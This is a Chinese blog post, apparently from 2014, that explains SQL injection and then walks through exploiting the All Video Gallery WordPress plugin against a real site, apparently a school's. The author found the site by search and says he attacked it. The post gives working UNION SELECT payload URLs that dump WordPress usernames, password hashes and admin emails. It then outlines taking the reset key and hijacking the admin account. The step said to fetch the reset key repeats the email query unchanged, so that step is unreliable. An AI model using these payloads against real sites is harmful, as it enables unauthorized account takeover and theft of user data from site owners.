黑客如何利用SQL注入漏洞攻破一个WordPress网站

技术文章 作者:MCbang 2014-06-15 00:15:15 阅读:94
All Video Gallery 就是这样的一个典型例子。早在2012年6月份就有安全网站公布这个插件的1.1版有严重的安全漏洞,但我今天还是很轻松的使用谷歌搜到了仍然使用这个有漏洞的插件的网站。本文就是要以这个网站为靶子,给大家实战讲解黑客是如何利用sql注入技术攻破一个网站的。

这个网站看起来像是印度或巴基斯坦的某个公立学校的网站。我不想在这里透露这个网站的真实地址,如果你也想实战一下,可以自己架设一个wordpress网站,安装上这个有安全漏洞的插件。如果你真的有兴趣想看看这个网站、非恶意的,请关注我的微薄@外刊IT评论 ,和我私信联系。
SQL注入的基本原理
sql注入成因主要是对页面参数没有进行非法字符校验导致,比如说一个订单页面要显示某个客户的所有订单列表,这个页面的地址可能是http://xxx.com/list.php?customID=3 ,我们推理,这样页面的后台处理的sql应该是这样的:
select * form custom_order where custom_id = {$_GET['customID']}按正常情况下,这里的接收的参数 {$_GET['customID']} 的值应该是传入的值 3 ,这样页面就能正确的把所有客户ID等于3的订单信息显示到页面上。但是,如果这个参数被人恶意改成了如下形式:
http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin按这样的参数拼装成的sql就成了这样:
select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin这样注入恶意sql后,订单列表页显示的就不是订单信息了,而是数据库中用户的名称和密码,或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名,管理员邮箱地址,通过邮箱重置管理员密码,登录超级管理员后台。
All Video Gallery插件的漏洞简介
安装了All Video Gallery插件的Wordpress博客里会有这样的一个地址:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11访问这个页面会显示一些配置信息,问题就出在 pid 这个参数上,程序后台显然没有严格检查这个参数,我们将利用这个参数进行sql注入。
WordPress是一个开源的平台,我们很容易弄清楚用户表的表名是 wp_users ,存放用户名,密码,邮件地址的字段分别是 user_login,user_pass,user_email ,我们下面将要把用户信息表注入进去。
获取超级管理员用户名
为了获取用户表中的用户名,我们注入的sql是这样的:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select 1,2,3,4,group_concat(user_login,0x3a,user_pass)
,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users在浏览器里输入上面的地址,页面上会显示下面的信息:

获取超级管理员邮件地址
我们可以直接获取用户的密码,但很显然,密码都是加密的,无法使用,我们这里使用另外一种思路,先获取用户的邮件地址,然后使用这个邮件重置用户的密码。
要获取邮件地址,我们需要将上面的sql中的字段名改成 user_email :
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&
pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),
6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users在浏览器里输入上面的地址,页面上会显示下面的信息:


重置管理员密码
WordPress的后台登陆地址是 http://xxx.com/wp-login.php ,这个地址是可以公共访问的,我们进入这个页面后,点击 Lost your password? 链接,输入上面获取的管理员邮件。

这样做了之后,Wordpress会向这个邮件地址发送一封含有激活码的密码重置地址。我们无法登陆这个邮箱获取这个地址,但我们可以使用上面同样的方法获取这个激活码,自己拼装出密码重置地址。存放激活码的字段是 user_activation_key ,我们的sql注入地址改成下面这样:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select
1,2,3,4,group_concat(user_login,0x3a,user_email),
6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users在浏览器里输入上面的地址,页面上会显示下面的信息:

有了激活码,我们就可以拼装出装置密码的地址了:
http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username利用这个地址进入重置密码页面:

总结

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

关注数据与安全,洞悉企业级服务市场:http://www.ijiandao.com/
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

图库
关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接